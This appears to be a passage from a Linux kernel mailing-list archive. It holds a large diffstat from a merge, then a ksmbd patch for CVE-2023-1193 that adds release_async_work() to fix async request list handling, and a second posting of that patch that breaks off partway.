drivers/gpu/drm/amd/amdgpu/amdgpu_ih.h | 2 +- drivers/gpu/drm/amd/amdgpu/gfx_v10_0.c | 12 +- drivers/gpu/drm/amd/amdgpu/gfx_v11_0.c | 12 +- drivers/gpu/drm/amd/amdkfd/kfd_svm.c | 92 ++-- drivers/gpu/drm/amd/amdkfd/kfd_svm.h | 2 - .../gpu/drm/amd/display/amdgpu_dm/amdgpu_dm.c | 73 ++- .../drm/amd/pm/swsmu/smu13/smu_v13_0_6_ppt.c | 4 +- drivers/gpu/drm/aspeed/aspeed_gfx_drv.c | 7 + drivers/gpu/drm/bridge/Kconfig | 2 + drivers/gpu/drm/bridge/cadence/Kconfig | 1 + drivers/gpu/drm/bridge/ite-it66121.c | 12 +- drivers/gpu/drm/bridge/lontium-lt8912b.c | 22 +- drivers/gpu/drm/bridge/lontium-lt9611uxc.c | 10 +- drivers/gpu/drm/bridge/samsung-dsim.c | 20 +- drivers/gpu/drm/bridge/tc358768.c | 166 +++--- drivers/gpu/drm/drm_syncobj.c | 3 +- drivers/gpu/drm/loongson/lsdc_pixpll.c | 6 +- drivers/gpu/drm/mediatek/mtk_drm_crtc.c | 3 + drivers/gpu/drm/mediatek/mtk_drm_drv.c | 1 + drivers/gpu/drm/mediatek/mtk_drm_gem.c | 9 +- drivers/gpu/drm/mediatek/mtk_drm_plane.c | 41 +- drivers/gpu/drm/mediatek/mtk_dsi.c | 4 +- drivers/gpu/drm/mgag200/mgag200_drv.c | 8 + drivers/gpu/drm/msm/adreno/a6xx_gpu.c | 2 +- drivers/gpu/drm/msm/adreno/adreno_device.c | 2 +- drivers/gpu/drm/msm/dsi/dsi.c | 1 + drivers/gpu/drm/msm/dsi/dsi.h | 1 + drivers/gpu/drm/msm/dsi/dsi_host.c | 16 +- drivers/gpu/drm/pl111/pl111_drv.c | 7 + drivers/gpu/drm/radeon/evergreen.c | 7 +- drivers/gpu/drm/radeon/radeon.h | 4 - drivers/gpu/drm/radeon/radeon_drv.c | 2 - drivers/gpu/drm/radeon/radeon_gem.c | 16 - drivers/gpu/drm/rockchip/cdn-dp-core.c | 15 +- drivers/gpu/drm/rockchip/rockchip_drm_gem.c | 2 +- drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 8 +- drivers/gpu/drm/rockchip/rockchip_drm_vop2.c | 39 +- drivers/gpu/drm/solomon/ssd130x.c | 47 +- drivers/gpu/drm/stm/drv.c | 7 + drivers/gpu/drm/tilcdc/tilcdc_drv.c | 11 +- drivers/gpu/drm/tve200/tve200_drv.c | 7 + drivers/gpu/drm/vboxvideo/vbox_drv.c | 10 + drivers/gpu/drm/vc4/tests/vc4_mock_crtc.c | 2 +- drivers/gpu/drm/vc4/tests/vc4_mock_output.c | 2 +- drivers/gpu/host1x/context.c | 4 +- drivers/hid/hid-cp2112.c | 10 +- drivers/hid/hid-logitech-hidpp.c | 60 +-- drivers/hid/hid-uclogic-core-test.c | 7 + drivers/hid/hid-uclogic-params-test.c | 16 +- drivers/hte/hte-tegra194-test.c | 4 +- drivers/hwmon/axi-fan-control.c | 29 +- drivers/hwmon/coretemp.c | 2 +- drivers/hwmon/nct6775-core.c | 12 +- drivers/hwmon/pmbus/mp2975.c | 10 +- drivers/hwmon/sch5627.c | 21 +- drivers/hwmon/sch56xx-common.c | 64 +-- drivers/i2c/busses/i2c-bcm-iproc.c | 133 +++-- drivers/i3c/master.c | 4 +- drivers/iio/frequency/adf4350.c | 75 +-- drivers/infiniband/core/device.c | 2 +- drivers/infiniband/core/sa_query.c | 4 +- drivers/infiniband/core/sysfs.c | 10 +- drivers/infiniband/core/user_mad.c | 4 +- drivers/infiniband/hw/hfi1/efivar.c | 2 +- drivers/infiniband/hw/hns/hns_roce_ah.c | 13 +- drivers/infiniband/hw/hns/hns_roce_hw_v2.c | 34 +- drivers/infiniband/hw/hns/hns_roce_main.c | 22 +- drivers/infiniband/hw/hns/hns_roce_qp.c | 2 +- drivers/infiniband/hw/mlx5/main.c | 4 +- drivers/infiniband/hw/mlx5/qp.c | 27 + drivers/input/rmi4/rmi_bus.c | 2 +- drivers/interconnect/qcom/icc-rpm.c | 14 +- drivers/interconnect/qcom/osm-l3.c | 3 +- drivers/interconnect/qcom/qdu1000.c | 1 + drivers/interconnect/qcom/sc7180.c | 1 + drivers/interconnect/qcom/sc7280.c | 1 + drivers/interconnect/qcom/sc8180x.c | 1 + drivers/interconnect/qcom/sc8280xp.c | 1 + drivers/interconnect/qcom/sdm670.c | 1 + drivers/interconnect/qcom/sdm845.c | 1 + drivers/interconnect/qcom/sm6350.c | 1 + drivers/interconnect/qcom/sm8150.c | 1 + drivers/interconnect/qcom/sm8250.c | 1 + drivers/interconnect/qcom/sm8350.c | 1 + drivers/iommu/iommufd/io_pagetable.c | 18 +- drivers/iommu/iommufd/pages.c | 2 + drivers/irqchip/irq-sifive-plic.c | 7 +- drivers/leds/leds-pwm.c | 2 +- drivers/leds/leds-turris-omnia.c | 54 +- drivers/leds/trigger/ledtrig-cpu.c | 4 +- drivers/media/cec/platform/Makefile | 2 +- drivers/media/i2c/Kconfig | 1 + drivers/media/i2c/imx219.c | 503 ++++++++---------- drivers/media/i2c/max9286.c | 2 - drivers/media/i2c/ov13b10.c | 2 +- drivers/media/i2c/ov5640.c | 24 +- drivers/media/pci/bt8xx/bttv-driver.c | 1 + drivers/media/platform/amphion/vpu_defs.h | 1 + drivers/media/platform/amphion/vpu_helpers.c | 1 + drivers/media/platform/amphion/vpu_malone.c | 1 + drivers/media/platform/amphion/vpu_msgs.c | 31 +- drivers/media/platform/cadence/cdns-csi2rx.c | 7 +- .../platform/mediatek/jpeg/mtk_jpeg_enc_hw.c | 5 +- .../platform/mediatek/mdp3/mtk-mdp3-cmdq.c | 2 +- .../mediatek/vcodec/common/mtk_vcodec_util.c | 56 +- .../mediatek/vcodec/encoder/venc_vpu_if.c | 5 + .../media/platform/nxp/imx-jpeg/mxc-jpeg.c | 34 +- .../media/platform/nxp/imx-jpeg/mxc-jpeg.h | 1 + .../samsung/s3c-camif/camif-capture.c | 6 +- .../media/platform/verisilicon/hantro_drv.c | 3 +- .../platform/verisilicon/hantro_postproc.c | 2 +- .../platform/verisilicon/rockchip_vpu_hw.c | 2 +- drivers/media/test-drivers/vidtv/vidtv_mux.c | 7 +- drivers/media/test-drivers/vidtv/vidtv_psi.c | 45 +- drivers/media/usb/dvb-usb-v2/af9035.c | 13 +- drivers/memory/tegra/tegra234.c | 4 + drivers/mfd/arizona-spi.c | 3 + drivers/mfd/dln2.c | 1 - drivers/mfd/mfd-core.c | 17 +- drivers/misc/ti-st/st_core.c | 7 +- drivers/mmc/core/mmc.c | 2 +- drivers/net/can/dev/dev.c | 10 +- drivers/net/can/dev/skb.c | 6 +- drivers/net/can/usb/etas_es58x/es58x_core.c | 1 + drivers/net/can/usb/etas_es58x/es58x_core.h | 6 +- .../net/can/usb/etas_es58x/es58x_devlink.c | 57 +- drivers/net/ethernet/broadcom/tg3.c | 3 +- .../chelsio/inline_crypto/chtls/chtls_cm.c | 2 +- drivers/net/ethernet/freescale/enetc/enetc.c | 2 +- drivers/net/ethernet/google/gve/gve_main.c | 2 +- drivers/net/ethernet/intel/i40e/i40e_main.c | 10 +- drivers/net/ethernet/intel/iavf/iavf.h | 16 +- drivers/net/ethernet/intel/iavf/iavf_main.c | 43 +- .../net/ethernet/intel/iavf/iavf_virtchnl.c | 75 ++- drivers/net/ethernet/intel/ice/ice_lag.c | 18 +- drivers/net/ethernet/intel/ice/ice_ptp.c | 12 +- drivers/net/ethernet/intel/ice/ice_tc_lib.c | 114 +++- .../marvell/octeontx2/nic/otx2_common.c | 15 +- .../marvell/octeontx2/nic/otx2_common.h | 1 + .../ethernet/marvell/octeontx2/nic/otx2_pf.c | 81 +-- .../marvell/octeontx2/nic/otx2_struct.h | 34 +- .../marvell/octeontx2/nic/otx2_txrx.c | 42 ++ drivers/net/ethernet/mediatek/mtk_wed_regs.h | 4 +- .../mlxsw/spectrum_acl_bloom_filter.c | 2 +- drivers/net/ethernet/realtek/r8169_main.c | 10 +- .../net/ethernet/stmicro/stmmac/dwxgmac2.h | 2 +- .../ethernet/stmicro/stmmac/dwxgmac2_core.c | 14 +- drivers/net/ethernet/ti/icssg/icss_iep.c | 2 +- drivers/net/ethernet/toshiba/spider_net.c | 2 +- drivers/net/gtp.c | 4 +- drivers/net/ipvlan/ipvlan_core.c | 8 +- drivers/net/ipvlan/ipvlan_main.c | 1 + drivers/net/macsec.c | 6 +- drivers/net/usb/r8152.c | 18 +- drivers/net/virtio_net.c | 198 ++++--- drivers/net/wireless/ath/ath11k/mac.c | 8 + drivers/net/wireless/ath/ath11k/pci.c | 24 +- drivers/net/wireless/ath/ath12k/dp_rx.c | 2 +- drivers/net/wireless/ath/ath12k/dp_tx.c | 7 +- .../net/wireless/ath/dfs_pattern_detector.c | 2 +- drivers/net/wireless/intel/iwlwifi/cfg/bz.c | 14 +- drivers/net/wireless/intel/iwlwifi/cfg/sc.c | 10 +- drivers/net/wireless/intel/iwlwifi/dvm/tx.c | 5 +- .../wireless/intel/iwlwifi/fw/api/dbg-tlv.h | 1 + .../net/wireless/intel/iwlwifi/iwl-config.h | 5 +- .../net/wireless/intel/iwlwifi/iwl-dbg-tlv.h | 5 +- drivers/net/wireless/intel/iwlwifi/iwl-drv.c | 51 +- drivers/net/wireless/intel/iwlwifi/iwl-prph.h | 4 +- .../net/wireless/intel/iwlwifi/iwl-trans.h | 11 +- drivers/net/wireless/intel/iwlwifi/mvm/d3.c | 10 + .../intel/iwlwifi/mvm/ftm-responder.c | 9 +- drivers/net/wireless/intel/iwlwifi/mvm/link.c | 22 +- .../net/wireless/intel/iwlwifi/mvm/mac-ctxt.c | 8 +- .../net/wireless/intel/iwlwifi/mvm/mac80211.c | 182 +++---- .../net/wireless/intel/iwlwifi/mvm/mld-key.c | 16 +- .../wireless/intel/iwlwifi/mvm/mld-mac80211.c | 105 ++-- .../net/wireless/intel/iwlwifi/mvm/mld-sta.c | 2 +- drivers/net/wireless/intel/iwlwifi/mvm/mvm.h | 9 +- drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 12 +- .../wireless/intel/iwlwifi/mvm/time-event.c | 31 +- drivers/net/wireless/intel/iwlwifi/mvm/tx.c | 22 +- .../wireless/intel/iwlwifi/pcie/trans-gen2.c | 1 + .../net/wireless/intel/iwlwifi/pcie/trans.c | 1 + drivers/net/wireless/intel/iwlwifi/queue/tx.c | 9 +- drivers/net/wireless/intel/iwlwifi/queue/tx.h | 2 +- drivers/net/wireless/mediatek/mt76/dma.c | 3 - drivers/net/wireless/mediatek/mt76/mac80211.c | 9 +- drivers/net/wireless/mediatek/mt76/mt76.h | 4 +- .../wireless/mediatek/mt76/mt7603/beacon.c | 76 ++- .../net/wireless/mediatek/mt76/mt7603/core.c | 2 + .../net/wireless/mediatek/mt76/mt7603/mac.c | 52 +- .../net/wireless/mediatek/mt76/mt7603/regs.h | 5 + .../net/wireless/mediatek/mt76/mt7615/mcu.c | 2 +- .../wireless/mediatek/mt76/mt7615/pci_mac.c | 2 +- .../wireless/mediatek/mt76/mt76_connac3_mac.h | 2 + .../wireless/mediatek/mt76/mt76_connac_mac.c | 24 +- .../wireless/mediatek/mt76/mt76_connac_mcu.c | 9 +- .../net/wireless/mediatek/mt76/mt7915/mac.c | 2 +- .../net/wireless/mediatek/mt76/mt7915/main.c | 8 +- .../net/wireless/mediatek/mt76/mt7915/mcu.c | 69 ++- .../net/wireless/mediatek/mt76/mt7915/mcu.h | 18 +- .../wireless/mediatek/mt76/mt7915/mt7915.h | 2 + .../net/wireless/mediatek/mt76/mt7921/main.c | 12 +- .../wireless/mediatek/mt76/mt7921/pci_mac.c | 2 +- drivers/net/wireless/mediatek/mt76/mt792x.h | 1 - .../net/wireless/mediatek/mt76/mt792x_core.c | 4 +- .../net/wireless/mediatek/mt76/mt7996/init.c | 9 +- .../net/wireless/mediatek/mt76/mt7996/mac.c | 12 +- .../net/wireless/mediatek/mt76/mt7996/main.c | 16 +- .../net/wireless/mediatek/mt76/mt7996/mcu.c | 67 ++- .../net/wireless/mediatek/mt76/mt7996/mcu.h | 11 +- .../wireless/realtek/rtlwifi/rtl8188ee/dm.c | 2 +- .../realtek/rtlwifi/rtl8192c/dm_common.c | 2 +- .../wireless/realtek/rtlwifi/rtl8723ae/dm.c | 2 +- drivers/net/wireless/realtek/rtw88/debug.c | 4 +- drivers/net/wireless/realtek/rtw88/usb.c | 9 +- drivers/net/wireless/silabs/wfx/data_tx.c | 71 +-- drivers/nvdimm/of_pmem.c | 8 +- drivers/nvdimm/region_devs.c | 8 +- drivers/nvme/host/ioctl.c | 7 +- drivers/pci/controller/vmd.c | 3 +- drivers/pci/endpoint/pci-epc-core.c | 1 - drivers/pci/pcie/aspm.c | 3 +- drivers/pcmcia/cs.c | 1 + drivers/pcmcia/ds.c | 14 +- drivers/perf/arm-cmn.c | 16 +- drivers/perf/arm_pmuv3.c | 6 +- drivers/perf/hisilicon/hisi_pcie_pmu.c | 7 +- drivers/perf/hisilicon/hisi_uncore_pa_pmu.c | 4 +- drivers/perf/hisilicon/hisi_uncore_sllc_pmu.c | 4 +- drivers/perf/hisilicon/hns3_pmu.c | 8 +- drivers/perf/riscv_pmu_sbi.c | 6 +- drivers/pinctrl/intel/pinctrl-baytrail.c | 11 +- drivers/pinctrl/renesas/pinctrl-rzg2l.c | 3 +- drivers/platform/chrome/cros_ec.c | 116 +++- drivers/platform/chrome/cros_ec.h | 4 + drivers/platform/chrome/cros_ec_lpc.c | 22 +- drivers/platform/x86/wmi.c | 36 +- drivers/pwm/pwm-brcmstb.c | 4 +- drivers/pwm/pwm-sti.c | 29 +- drivers/regulator/mt6358-regulator.c | 14 +- drivers/regulator/qcom-rpmh-regulator.c | 2 +- drivers/rtc/rtc-brcmstb-waketimer.c | 47 +- drivers/rtc/rtc-pcf85363.c | 2 +- drivers/s390/crypto/ap_bus.c | 21 +- drivers/s390/crypto/ap_bus.h | 1 + drivers/s390/crypto/ap_queue.c | 9 +- drivers/scsi/ibmvscsi/ibmvfc.c | 3 +- drivers/soc/qcom/llcc-qcom.c | 3 + drivers/soc/qcom/pmic_glink_altmode.c | 2 +- drivers/spi/Kconfig | 1 + drivers/spi/spi-nxp-fspi.c | 2 +- drivers/spi/spi-omap2-mcspi.c | 263 ++++----- drivers/spi/spi-tegra20-slink.c | 2 + .../staging/media/sunxi/cedrus/cedrus_hw.c | 24 +- drivers/thermal/mediatek/auxadc_thermal.c | 2 +- drivers/thermal/thermal_core.c | 6 +- drivers/thermal/thermal_trip.c | 19 +- drivers/tty/tty_jobctrl.c | 17 +- drivers/ufs/core/ufshcd.c | 2 +- drivers/usb/chipidea/host.c | 48 +- drivers/usb/dwc2/hcd.c | 2 +- drivers/usb/host/xhci-pci.c | 2 + drivers/usb/host/xhci-plat.c | 23 +- drivers/usb/usbip/stub_dev.c | 9 +- drivers/video/backlight/pwm_bl.c | 22 + drivers/video/fbdev/fsl-diu-fb.c | 2 +- drivers/video/fbdev/imsttfb.c | 35 +- drivers/virt/coco/sev-guest/sev-guest.c | 45 +- drivers/watchdog/ixp4xx_wdt.c | 28 +- drivers/watchdog/marvell_gti_wdt.c | 2 +- drivers/xen/privcmd.c | 2 +- drivers/xen/xen-pciback/conf_space.c | 19 +- .../xen/xen-pciback/conf_space_capability.c | 8 +- drivers/xen/xen-pciback/conf_space_header.c | 21 +- drivers/xen/xenbus/xenbus_probe.c | 2 +- fs/btrfs/ioctl.c | 10 +- fs/btrfs/scrub.c | 10 +- fs/debugfs/file.c | 2 +- fs/dlm/debug_fs.c | 13 +- fs/dlm/midcomms.c | 39 +- fs/erofs/utils.c | 8 +- fs/erofs/zdata.c | 1 + fs/ext4/extents.c | 10 +- fs/ext4/super.c | 3 +- fs/f2fs/data.c | 24 +- fs/f2fs/file.c | 1 + fs/f2fs/super.c | 35 +- fs/fs-writeback.c | 41 +- fs/nfsd/filecache.c | 27 +- fs/nfsd/vfs.c | 28 +- fs/nfsd/vfs.h | 4 +- fs/pstore/platform.c | 9 +- fs/tracefs/event_inode.c | 4 +- include/drm/bridge/samsung-dsim.h | 1 + include/linux/bpf.h | 5 + include/linux/clk-provider.h | 15 +- include/linux/cpuhotplug.h | 1 + include/linux/hisi_acc_qm.h | 7 + include/linux/hw_random.h | 1 + include/linux/idr.h | 6 +- include/linux/mfd/core.h | 2 +- include/linux/netdevice.h | 1 + include/linux/numa.h | 14 +- include/linux/objtool.h | 3 +- include/linux/pci.h | 34 +- include/linux/perf_event.h | 1 + include/linux/pm.h | 43 +- include/linux/string.h | 7 +- include/linux/topology.h | 2 +- include/linux/udp.h | 66 ++- include/linux/verification.h | 1 + include/net/bluetooth/hci.h | 3 + include/net/bluetooth/hci_core.h | 31 +- include/net/cfg80211.h | 21 + include/net/flow.h | 2 +- include/net/netfilter/nf_conntrack_act_ct.h | 30 +- include/net/tcp.h | 2 +- include/net/udp_tunnel.h | 9 +- include/net/udplite.h | 14 +- include/soc/tegra/bpmp.h | 6 + include/sound/cs35l41.h | 4 +- include/uapi/xen/privcmd.h | 4 +- io_uring/kbuf.c | 11 +- io_uring/net.c | 24 +- kernel/bpf/hashtab.c | 7 +- kernel/bpf/helpers.c | 32 +- kernel/bpf/trampoline.c | 4 +- kernel/bpf/verifier.c | 7 + kernel/cgroup/cpuset.c | 12 +- kernel/cpu.c | 18 +- kernel/events/core.c | 115 ++-- kernel/futex/core.c | 12 +- kernel/irq/matrix.c | 6 +- kernel/livepatch/core.c | 2 +- kernel/module/decompress.c | 8 +- kernel/padata.c | 6 +- kernel/rcu/srcutree.c | 31 +- kernel/sched/core.c | 10 +- kernel/sched/deadline.c | 2 + kernel/sched/fair.c | 35 +- kernel/sched/rt.c | 4 + kernel/sched/topology.c | 6 +- kernel/trace/trace_kprobe.c | 2 +- lib/kunit/executor.c | 23 +- lib/kunit/executor_test.c | 36 +- mm/mempolicy.c | 18 +- mm/readahead.c | 3 +- net/9p/client.c | 6 +- net/bluetooth/amp.c | 3 +- net/bluetooth/hci_conn.c | 58 +- net/bluetooth/hci_core.c | 3 + net/bluetooth/hci_event.c | 84 +-- net/bluetooth/hci_sync.c | 4 +- net/bluetooth/iso.c | 19 +- net/core/page_pool.c | 6 +- net/core/skbuff.c | 3 +- net/dccp/ipv4.c | 6 +- net/dccp/ipv6.c | 6 +- net/hsr/hsr_forward.c | 4 +- net/ipv4/syncookies.c | 20 +- net/ipv4/tcp_input.c | 9 +- net/ipv4/tcp_metrics.c | 15 +- net/ipv4/udp.c | 74 +-- net/ipv4/udp_offload.c | 4 +- net/ipv4/udp_tunnel_core.c | 2 +- net/ipv4/udplite.c | 1 - net/ipv4/xfrm4_input.c | 4 +- net/ipv6/ip6_output.c | 8 +- net/ipv6/syncookies.c | 7 +- net/ipv6/udp.c | 34 +- net/ipv6/udplite.c | 1 - net/ipv6/xfrm6_input.c | 4 +- net/l2tp/l2tp_core.c | 6 +- net/llc/llc_input.c | 10 +- net/llc/llc_s_ac.c | 3 + net/llc/llc_station.c | 3 + net/mac80211/driver-ops.c | 9 +- net/mac80211/drop.h | 3 + net/mac80211/ieee80211_i.h | 18 +- net/mac80211/iface.c | 2 +- net/mac80211/link.c | 2 +- net/mac80211/main.c | 25 +- net/mac80211/mesh_pathtbl.c | 2 +- net/mac80211/offchannel.c | 36 +- net/mac80211/rx.c | 2 +- net/mac80211/scan.c | 36 +- net/mac80211/sta_info.c | 2 +- net/mac80211/util.c | 11 +- net/mptcp/fastopen.c | 1 + net/netfilter/nf_nat_redirect.c | 27 +- net/netfilter/nf_tables_api.c | 4 - net/netfilter/xt_recent.c | 2 +- net/openvswitch/conntrack.c | 2 +- net/rxrpc/conn_object.c | 2 +- net/rxrpc/local_object.c | 2 +- net/sched/act_ct.c | 15 +- net/smc/af_smc.c | 4 +- net/smc/smc.h | 5 + net/smc/smc_cdc.c | 11 +- net/smc/smc_close.c | 5 +- net/tipc/link.c | 4 +- net/tipc/netlink.c | 4 +- net/tls/tls_sw.c | 2 +- net/vmw_vsock/virtio_transport_common.c | 18 +- net/wireless/core.c | 34 +- net/wireless/core.h | 3 +- net/wireless/scan.c | 4 +- net/wireless/sysfs.c | 4 +- scripts/Makefile.vmlinux_o | 3 +- scripts/gdb/linux/constants.py.in | 9 +- scripts/mod/file2alias.c | 14 +- security/apparmor/policy.c | 1 + security/apparmor/policy_unpack.c | 5 +- sound/pci/hda/cs35l41_hda.c | 9 +- sound/pci/hda/patch_realtek.c | 40 +- sound/soc/codecs/cs35l41-lib.c | 60 ++- sound/soc/codecs/cs35l41.c | 38 +- sound/soc/codecs/cs35l41.h | 1 - sound/soc/codecs/hdmi-codec.c | 27 +- sound/soc/codecs/rt712-sdca.c | 14 +- sound/soc/fsl/fsl-asoc-card.c | 1 + sound/soc/fsl/fsl_easrc.c | 8 +- sound/soc/fsl/mpc5200_dma.c | 3 + sound/soc/intel/boards/sof_sdw.c | 2 +- .../boards/sof_sdw_rt_sdca_jack_common.c | 8 + sound/soc/intel/skylake/skl-sst-utils.c | 1 + .../mt8186/mt8186-mt6366-rt1019-rt5682s.c | 4 +- sound/soc/soc-dapm.c | 2 +- sound/soc/soc-pcm.c | 21 +- sound/soc/sof/core.c | 6 +- sound/soc/sof/ipc4-topology.c | 3 +- sound/soc/ti/ams-delta.c | 4 +- tools/crypto/ccp/dbc.c | 17 +- tools/crypto/ccp/dbc.py | 8 +- tools/crypto/ccp/test_dbc.py | 45 +- tools/iio/iio_generic_buffer.c | 13 +- tools/lib/bpf/bpf_tracing.h | 2 - tools/lib/perf/include/internal/rc_check.h | 6 +- tools/objtool/objtool.c | 4 +- tools/perf/Documentation/perf-kwork.txt | 2 +- tools/perf/Makefile.perf | 4 + tools/perf/builtin-kwork.c | 13 +- tools/perf/builtin-lock.c | 17 +- tools/perf/builtin-stat.c | 2 +- .../arch/arm64/ampere/ampereone/metrics.json | 418 ++++++++------- .../pmu-events/arch/powerpc/power10/pmc.json | 2 +- .../arch/x86/broadwellde/bdwde-metrics.json | 14 +- tools/perf/util/bpf_off_cpu.c | 5 +- .../bpf_skel/augmented_raw_syscalls.bpf.c | 16 +- tools/perf/util/bpf_skel/vmlinux/.gitignore | 1 + tools/perf/util/hist.c | 10 +- tools/perf/util/machine.c | 22 +- tools/perf/util/mem-events.c | 3 +- tools/perf/util/parse-events.y | 9 +- .../cpupower/man/cpupower-powercap-info.1 | 2 +- tools/testing/cxl/test/mem.c | 4 +- .../selftests/bpf/prog_tests/linked_list.c | 10 +- .../bpf/prog_tests/module_fentry_shadow.c | 5 + .../selftests/bpf/prog_tests/tailcalls.c | 32 +- tools/testing/selftests/bpf/progs/bpf_misc.h | 3 + .../selftests/bpf/progs/linked_list_fail.c | 4 +- tools/testing/selftests/bpf/test_progs.h | 2 + tools/testing/selftests/mm/mdwe_test.c | 9 +- .../testing/selftests/net/mptcp/mptcp_join.sh | 18 +- tools/testing/selftests/net/pmtu.sh | 2 +- tools/testing/selftests/netfilter/Makefile | 2 +- .../testing/selftests/netfilter/xt_string.sh | 128 +++++ .../selftests/pidfd/pidfd_fdinfo_test.c | 2 +- tools/testing/selftests/pidfd/pidfd_test.c | 12 +- .../testing/selftests/resctrl/resctrl_tests.c | 5 + tools/testing/selftests/x86/lam.c | 6 +- tools/tracing/rtla/src/utils.c | 2 +- 650 files changed, 6536 insertions(+), 4426 deletions(-) create mode 100644 drivers/crypto/intel/qat/qat_common/adf_cfg_services.h create mode 100644 tools/perf/util/bpf_skel/vmlinux/.gitignore create mode 100755 tools/testing/selftests/netfilter/xt_string.sh -- 2.20.1

1 602

[PATCH OLK-5.10] ksmbd: delete asynchronous work from list
by Zizhi Wo 23 Nov '23

23 Nov '23

From: Namjae Jeon <linkinjeon(a)kernel.org> mainline inclusion from mainline-v6.3-rc6 commit 3a9b557f44ea8f216aab515a7db20e23f0eb51b9 category: bugfix bugzilla: https://gitee.com/src-openeuler/kernel/issues/I6KEWO?from=project-issue CVE: CVE-2023-1193 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- When smb2_lock request is canceled by smb2_cancel or smb2_close(), ksmbd is missing deleting async_request_entry async_requests list. Because calling init_smb2_rsp_hdr() in smb2_lock() mark ->synchronous as true and then it will not be deleted in ksmbd_conn_try_dequeue_request(). This patch add release_async_work() to release the ones allocated for async work. Cc: stable(a)vger.kernel.org Signed-off-by: Namjae Jeon <linkinjeon(a)kernel.org> Signed-off-by: Steve French <stfrench(a)microsoft.com> Signed-off-by: Zizhi Wo <wozizhi(a)huawei.com> --- fs/ksmbd/connection.c | 12 +++++------- fs/ksmbd/ksmbd_work.h | 2 +- fs/ksmbd/smb2pdu.c | 28 +++++++++++++++++++++------- fs/ksmbd/smb2pdu.h | 1 + 4 files changed, 28 insertions(+), 15 deletions(-) diff --git a/fs/ksmbd/connection.c b/fs/ksmbd/connection.c index 96d6653dabc1..2a0e472f0826 100644 --- a/fs/ksmbd/connection.c +++ b/fs/ksmbd/connection.c @@ -106,10 +106,8 @@ void ksmbd_conn_enqueue_request(struct ksmbd_work *work) struct ksmbd_conn *conn = work->conn; struct list_head *requests_queue = NULL; - if (conn->ops->get_cmd_val(work) != SMB2_CANCEL_HE) { + if (conn->ops->get_cmd_val(work) != SMB2_CANCEL_HE) requests_queue = &conn->requests; - work->syncronous = true; - } if (requests_queue) { atomic_inc(&conn->req_running); @@ -130,14 +128,14 @@ int ksmbd_conn_try_dequeue_request(struct ksmbd_work *work) if (!work->multiRsp) atomic_dec(&conn->req_running); - spin_lock(&conn->request_lock); if (!work->multiRsp) { + spin_lock(&conn->request_lock); list_del_init(&work->request_entry); - if (work->syncronous == false) - list_del_init(&work->async_request_entry); + spin_unlock(&conn->request_lock); + if (work->asyncronous) + release_async_work(work); ret = 0; } - spin_unlock(&conn->request_lock); wake_up_all(&conn->req_running_q); return ret; diff --git a/fs/ksmbd/ksmbd_work.h b/fs/ksmbd/ksmbd_work.h index 5ece58e40c97..3b1fc8fbf7e1 100644 --- a/fs/ksmbd/ksmbd_work.h +++ b/fs/ksmbd/ksmbd_work.h @@ -68,7 +68,7 @@ struct ksmbd_work { /* Request is encrypted */ bool encrypted:1; /* Is this SYNC or ASYNC ksmbd_work */ - bool syncronous:1; + bool asyncronous:1; bool need_invalidate_rkey:1; unsigned int remote_key; diff --git a/fs/ksmbd/smb2pdu.c b/fs/ksmbd/smb2pdu.c index 29e9c94b2f7b..3d6302853b69 100644 --- a/fs/ksmbd/smb2pdu.c +++ b/fs/ksmbd/smb2pdu.c @@ -519,12 +519,6 @@ int init_smb2_rsp_hdr(struct ksmbd_work *work) rsp_hdr->SessionId = rcv_hdr->SessionId; memcpy(rsp_hdr->Signature, rcv_hdr->Signature, 16); - work->syncronous = true; - if (work->async_id) { - ksmbd_release_id(&conn->async_ida, work->async_id); - work->async_id = 0; - } - return 0; } @@ -682,7 +676,7 @@ int setup_async_work(struct ksmbd_work *work, void (*fn)(void **), void **arg) pr_err("Failed to alloc async message id\n"); return id; } - work->syncronous = false; + work->asyncronous = true; work->async_id = id; rsp_hdr->Id.AsyncId = cpu_to_le64(id); @@ -702,6 +696,24 @@ int setup_async_work(struct ksmbd_work *work, void (*fn)(void **), void **arg) return 0; } +void release_async_work(struct ksmbd_work *work) +{ + struct ksmbd_conn *conn = work->conn; + + spin_lock(&conn->request_lock); + list_del_init(&work->async_request_entry); + spin_unlock(&conn->request_lock); + + work->asyncronous = 0; + work->cancel_fn = NULL; + kfree(work->cancel_argv); + work->cancel_argv = NULL; + if (work->async_id) { + ksmbd_release_id(&conn->async_ida, work->async_id); + work->async_id = 0; + } +} + void smb2_send_interim_resp(struct ksmbd_work *work, __le32 status) { struct smb2_hdr *rsp_hdr; @@ -7091,6 +7103,7 @@ int smb2_lock(struct ksmbd_work *work) work->send_no_response = 1; goto out; } + init_smb2_rsp_hdr(work); smb2_set_err_rsp(work); rsp->hdr.Status = @@ -7107,6 +7120,7 @@ int smb2_lock(struct ksmbd_work *work) spin_lock(&fp->f_lock); list_del(&work->fp_entry); spin_unlock(&fp->f_lock); + release_async_work(work); goto retry; } else if (!rc) { spin_lock(&work->conn->llist_lock); diff --git a/fs/ksmbd/smb2pdu.h b/fs/ksmbd/smb2pdu.h index ba255fd2f77c..089eb93a166f 100644 --- a/fs/ksmbd/smb2pdu.h +++ b/fs/ksmbd/smb2pdu.h @@ -1664,6 +1664,7 @@ int find_matching_smb2_dialect(int start_index, __le16 *cli_dialects, struct file_lock *smb_flock_init(struct file *f); int setup_async_work(struct ksmbd_work *work, void (*fn)(void **), void **arg); +void release_async_work(struct ksmbd_work *work); void smb2_send_interim_resp(struct ksmbd_work *work, __le32 status); struct channel *lookup_chann_list(struct ksmbd_session *sess, struct ksmbd_conn *conn); -- 2.39.2

2 1

[PATCH OLK-5.10] ksmbd: delete asynchronous work from list
by Zizhi Wo 23 Nov '23

23 Nov '23

From: Namjae Jeon <linkinjeon(a)kernel.org> mainline inclusion from mainline-v6.3-rc6 commit 3a9b557f44ea8f216aab515a7db20e23f0eb51b9 category: bugfix bugzilla: https://gitee.com/src-openeuler/kernel/issues/I6KEWO?from=project-issue CVE: NA Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- When smb2_lock request is canceled by smb2_cancel or smb2_close(), ksmbd is missing deleting async_request_entry async_requests list. Because calling init_smb2_rsp_hdr() in smb2_lock() mark ->synchronous as true and then it will not be deleted in ksmbd_conn_try_dequeue_request(). This patch add release_async_work() to release the ones allocated for async work. Cc: stable(a)vger.kernel.org Signed-off-by: Namjae Jeon 